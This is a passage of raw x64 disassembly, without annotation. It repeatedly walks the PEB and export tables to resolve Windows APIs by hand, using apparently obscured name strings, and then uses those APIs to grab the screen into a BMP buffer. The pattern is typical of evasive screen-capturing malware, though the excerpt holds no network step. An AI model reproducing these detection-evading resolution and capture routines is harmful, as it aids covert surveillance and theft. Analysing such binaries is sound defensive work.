mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140017b7f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140017b73
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017b6e
cmp byte [rcx], al
jne 0x140017b73
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017b44
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140017b9b
test r8b, r8b
jne 0x140017b5b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140017b30
xor ebx, ebx
cmp qword [rdi + 0x60], 0
je 0x140017b98
mov r14d, 0x5a4d
jmp 0x140017ad0
mov rax, rbx
jmp 0x140017ba1
mov rax, rbx
mov r14d, 0x5a4d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r12
call rax
mov r12, rax
mov qword [rbp - 0x70], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.CreateCompatibleDC
lea rcx, [rbp + 0x1020]
call fcn.1400200b0
nop
mov rcx, rax
call fcn.14001dbf0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140017cc7
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140017caf
cmp word [r11], r14w
jne 0x140017cc2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140017cc2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140017cc2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140017caf
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140017ca3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017c9e
cmp byte [rcx], al
jne 0x140017ca3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017c74
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140017cca
test r8b, r8b
jne 0x140017c8b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140017c60
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140017cc7
mov r14d, 0x5a4d
jmp 0x140017c00
mov rax, rbx
jmp 0x140017cd0
mov rax, rbx
mov r14d, 0x5a4d
mov rcx, r12
call rax
mov qword [rbp - 0x58], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetDeviceCaps
lea rcx, [rbp + 0xd00]
call fcn.1400201a0
nop
mov rcx, rax
call fcn.14001d2b0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140017de7
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140017dcf
cmp word [r11], r14w
jne 0x140017de2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140017de2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140017de2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140017dcf
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140017dc3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017dbe
cmp byte [rcx], al
jne 0x140017dc3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017d94
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140017dea
test r8b, r8b
jne 0x140017dab
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140017d80
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140017de7
mov r14d, 0x5a4d
jmp 0x140017d20
mov rax, rbx
jmp 0x140017df0
mov rax, rbx
mov r14d, 0x5a4d
mov edx, 8
mov rcx, r12
call rax
mov r13d, eax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetDeviceCaps
lea rcx, [rbp + 0xec0]
call fcn.1400202f0
nop
mov rcx, rax
call fcn.14001d2b0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140017f17
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140017eff
cmp word [r11], r14w
jne 0x140017f12
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140017f12
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140017f12
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140017eff
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140017ef3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017eee
cmp byte [rcx], al
jne 0x140017ef3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017ec4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140017f1a
test r8b, r8b
jne 0x140017edb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140017eb0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140017f17
mov r14d, 0x5a4d
jmp 0x140017e50
mov rax, rbx
jmp 0x140017f20
mov rax, rbx
mov r14d, 0x5a4d
mov edx, 0xa
mov rcx, r12
call rax
mov r12d, eax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.CreateCompatibleBitmap
lea rcx, [rbp + 0xfd0]
call fcn.1400203f0
nop
mov rcx, rax
call fcn.14001ccc0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018047
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001802f
cmp word [r11], r14w
jne 0x140018042
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018042
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018042
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001802f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018023
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001801e
cmp byte [rcx], al
jne 0x140018023
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017ff4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001804a
test r8b, r8b
jne 0x14001800b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140017fe0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018047
mov r14d, 0x5a4d
jmp 0x140017f80
mov rax, rbx
jmp 0x140018050
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, r12d
mov edx, r13d
mov rcx, qword [rbp - 0x70]
call rax
mov qword [rsp + 0x70], rax
test rax, rax
jne 0x14001806e
mov r12, rbx
jmp 0x140018e39
movzx r8d, byte [rsp + 0x60]
lea rdx, str.SelectObject
lea rcx, [rbp + 0xd40]
call fcn.1400204e0
nop
mov rcx, rax
call fcn.14001ca00
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018187
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001816f
cmp word [r11], r14w
jne 0x140018182
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018182
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018182
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001816f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018163
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001815e
cmp byte [rcx], al
jne 0x140018163
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018134
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001818a
test r8b, r8b
jne 0x14001814b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018120
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018187
mov r14d, 0x5a4d
jmp 0x1400180c0
mov rax, rbx
jmp 0x140018190
mov rax, rbx
mov r14d, 0x5a4d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x58]
call rax
test rax, rax
jne 0x1400181a8
mov r12, rbx
jmp 0x140018e39
movzx r8d, byte [rsp + 0x60]
lea rdx, str.StretchBlt
lea rcx, [rbp + 0xd80]
call fcn.1400205d0
nop
mov rcx, rax
call fcn.14001dd20
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400182b7
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001829f
cmp word [r11], r14w
jne 0x1400182b2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400182b2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400182b2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001829f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018293
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001828e
cmp byte [rcx], al
jne 0x140018293
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018264
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400182ba
test r8b, r8b
jne 0x14001827b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018250
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400182b7
mov r14d, 0x5a4d
jmp 0x1400181f0
mov rax, rbx
jmp 0x1400182c0
mov rax, rbx
mov r14d, 0x5a4d
mov dword [rsp + 0x50], 0xcc0020
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov rcx, qword [rbp - 0x70]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9d, r13d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x58]
call rax
test eax, eax
jne 0x140018302
mov r12, rbx
jmp 0x140018e39
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetObjectW
lea rcx, [rbp + 0xdc0]
call fcn.1400206c0
nop
mov rcx, rax
call fcn.14001dd20
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018418
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018401
cmp word [r11], r14w
jne 0x140018413
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018413
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018413
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400183ff
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400183f3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1400183ee
cmp byte [rcx], al
jne 0x1400183f3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400183c4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001841b
test r8b, r8b
jne 0x1400183db
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400183b0
xor ebx, ebx
cmp qword [rdi + 0x60], 0
je 0x140018418
mov r14d, 0x5a4d
jmp 0x140018350
mov rax, rbx
jmp 0x140018421
mov rax, rbx
mov r14d, 0x5a4d
lea r8, [rbp + 0x1870]
mov edi, 0x20
mov edx, edi
mov rcx, qword [rsp + 0x70]
call rax
test eax, eax
jne 0x140018442
mov r12, rbx
jmp 0x140018e39
movzx eax, word [rbp + 0x1880]
movzx ecx, word [rbp + 0x1882]
imul ecx, eax
cmp cx, 1
jne 0x140018464
mov r12d, 1
jmp 0x1400185db
cmp cx, 4
ja 0x140018475
mov r12d, 4
jmp 0x1400185db
cmp cx, 8
ja 0x140018486
mov r12d, 8
jmp 0x1400185db
cmp cx, 0x10
ja 0x140018497
mov r12d, 0x10
jmp 0x1400185db
cmp cx, 0x18
ja 0x1400185d7
mov r12d, 0x18
mov dword [rsp + 0x64], r12d
movzx r8d, byte [rsp + 0x60]
lea rdx, str.LocalAlloc
lea rcx, [rbp + 0xe00]
call fcn.1400208a0
nop
mov rcx, rax
call fcn.14001dd20
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400185b7
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001859f
cmp word [r11], r14w
jne 0x1400185b2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400185b2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400185b2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001859f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018593
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001858e
cmp byte [rcx], al
jne 0x140018593
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018564
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400185ba
test r8b, r8b
jne 0x14001857b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018550
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400185b7
mov r14d, 0x5a4d
jmp 0x1400184f0
mov rax, rbx
jmp 0x1400185c0
mov rax, rbx
mov r14d, 0x5a4d
mov edx, 0x28
lea ecx, [rdx + 0x18]
call rax
mov r13, rax
mov edi, 1
jmp 0x140018721
movzx r12d, di
mov dword [rsp + 0x64], r12d
movzx r8d, byte [rsp + 0x60]
lea rdx, str.LocalAlloc
lea rcx, [rbp + 0xe40]
call fcn.1400207b0
nop
mov rcx, rax
call fcn.14001dd20
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400186f7
nop dword [rax]
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400186df
cmp word [r11], r14w
jne 0x1400186f2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400186f2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400186f2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400186df
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400186d3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1400186ce
cmp byte [rcx], al
jne 0x1400186d3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400186a4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov r8d, dword [r14 + rcx*4]
add r8, r11
xor ebx, ebx
jmp 0x1400186fa
test r8b, r8b
jne 0x1400186bb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018690
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400186f7
mov r14d, 0x5a4d
jmp 0x140018630
mov r8, rbx
jmp 0x140018700
mov r8, rbx
mov r14d, 0x5a4d
movzx ecx, r12b
mov edi, 1
mov eax, edi
shl eax, cl
movsxd rdx, eax
lea rdx, [rdx*4 + 0x28]
lea ecx, [rdi + 0x3f]
call r8
mov r13, rax
mov dword [r13], 0x28
mov eax, dword [rbp + 0x1874]
mov dword [r13 + 4], eax
mov eax, dword [rbp + 0x1878]
mov dword [r13 + 8], eax
movzx eax, word [rbp + 0x1880]
mov word [r13 + 0xc], ax
movzx eax, word [rbp + 0x1882]
mov word [r13 + 0xe], ax
cmp r12w, 0x18
jae 0x140018768
movzx ecx, r12b
mov eax, edi
shl eax, cl
mov dword [r13 + 0x20], eax
mov dword [r13 + 0x10], ebx
mov eax, dword [r13 + 4]
add eax, 7
cdq
and edx, 7
lea r12d, [rdx + rax]
sar r12d, 3
movzx eax, word [rsp + 0x64]
imul r12d, eax
imul r12d, dword [r13 + 8]
mov dword [r13 + 0x14], r12d
mov dword [r13 + 0x24], ebx
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GlobalAlloc
lea rcx, [rbp + 0xe80]
call fcn.140020990
nop
mov rcx, rax
call fcn.14001de30
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400188a8
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018891
cmp word [r11], r14w
jne 0x1400188a3
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400188a3
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400188a3
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001888f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018883
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001887e
cmp byte [rcx], al
jne 0x140018883
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018854
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400188ab
test r8b, r8b
jne 0x14001886b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018840
xor ebx, ebx
cmp qword [rdi + 0x60], 0
je 0x1400188a8
mov r14d, 0x5a4d
jmp 0x1400187e0
mov rax, rbx
jmp 0x1400188b1
mov rax, rbx
mov r14d, 0x5a4d
mov edx, r12d
xor ecx, ecx
call rax
mov qword [rbp - 0x20], rax
test rax, rax
jne 0x1400188c9
mov r12, rbx
jmp 0x140018e39
movzx r12d, word [r13 + 8]
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetDIBits
lea rcx, [rbp + 0xc00]
call fcn.140020a80
nop
mov rcx, rax
call fcn.14001c8f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400189e7
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400189cf
cmp word [r11], r14w
jne 0x1400189e2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400189e2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400189e2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400189cf
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400189c3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1400189be
cmp byte [rcx], al
jne 0x1400189c3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018994
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400189ea
test r8b, r8b
jne 0x1400189ab
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018980
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400189e7
mov r14d, 0x5a4d
jmp 0x140018920
mov rax, rbx
jmp 0x1400189f0
mov rax, rbx
mov r14d, 0x5a4d
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r13
mov rbx, qword [rbp - 0x20]
mov qword [rsp + 0x20], rbx
movzx r9d, r12w
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x58]
call rax
test eax, eax
jne 0x140018a22
xor ebx, ebx
mov r12d, ebx
jmp 0x140018e39
mov eax, 0x4d42
mov word [rsp + 0x78], ax
mov r9d, dword [r13 + 0x20]
lea edx, [r9*4]
mov r10d, dword [r13 + 0x14]
lea r8d, [r10 + rdx]
lea eax, [r8 + 0xe]
add eax, dword [r13]
mov dword [rsp + 0x7a], eax
xor eax, eax
mov dword [rsp + 0x7e], eax
lea eax, [rdx + 0xe]
add eax, dword [r13]
mov dword [rbp - 0x7e], eax
lea eax, [r8 + 0x36]
mov dword [rsp + 0x68], eax
lea rax, [r9*4 + 0x28]
lea rcx, [r10 + 0x36]
add rcx, rax
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140133ef8
mov r12, rax
movsd xmm0, qword [rsp + 0x78]
movsd qword [rax], xmm0
mov eax, dword [rbp - 0x80]
mov dword [r12 + 8], eax
movzx eax, word [rbp - 0x7c]
mov word [r12 + 0xc], ax
mov r8d, dword [r13 + 0x20]
lea r8, [r8*4 + 0x28]
lea rcx, [r12 + 0xe]
mov rdx, r13
call fcn.14012dc00
movsxd r8, dword [r13 + 0x14]
mov eax, dword [r13 + 0x20]
lea rcx, [rax*4 + 0x36]
add rcx, r12
mov rdx, rbx
call fcn.14012dc00
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GlobalFree
lea rcx, [rbp + 0xf00]
call fcn.140020b70
nop
mov rcx, rax
call fcn.14001dd20
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018be7
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018bcf
cmp word [r11], r14w
jne 0x140018be1
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018be1
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018be1
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140018bcf
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018bc3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140018bbe
cmp byte [rcx], al
jne 0x140018bc3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018b94
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140018beb
test r8b, r8b
jne 0x140018bab
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018b80
cmp qword [rdi + 0x60], 0
je 0x140018be7
mov r14d, 0x5a4d
jmp 0x140018b20
xor ebx, ebx
mov eax, ebx
jmp 0x140018bf1
xor ebx, ebx
mov eax, ebx
mov r14d, 0x5a4d
mov rcx, qword [rbp - 0x20]
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.ReleaseDC
lea rcx, [rbp + 0xf40]
call fcn.140020c60
nop
mov rcx, rax
call fcn.14001c8f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018d07
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018cef
cmp word [r11], r14w
jne 0x140018d02
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018d02
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018d02
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140018cef
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018ce3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140018cde
cmp byte [rcx], al
jne 0x140018ce3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018cb4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140018d0a
test r8b, r8b
jne 0x140018ccb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018ca0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018d07
mov r14d, 0x5a4d
jmp 0x140018c40
mov rax, rbx
jmp 0x140018d10
mov rax, rbx
mov r14d, 0x5a4d
mov rdx, qword [rbp - 0x70]
xor ecx, ecx
call rax
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.ReleaseDC
lea rcx, [rbp + 0xa00]
call fcn.140020d50
nop
mov rcx, rax
call fcn.14001c8f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018e27
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018e0f
cmp word [r11], r14w
jne 0x140018e22
movsxd rax, dword [r11 + 0x3c]
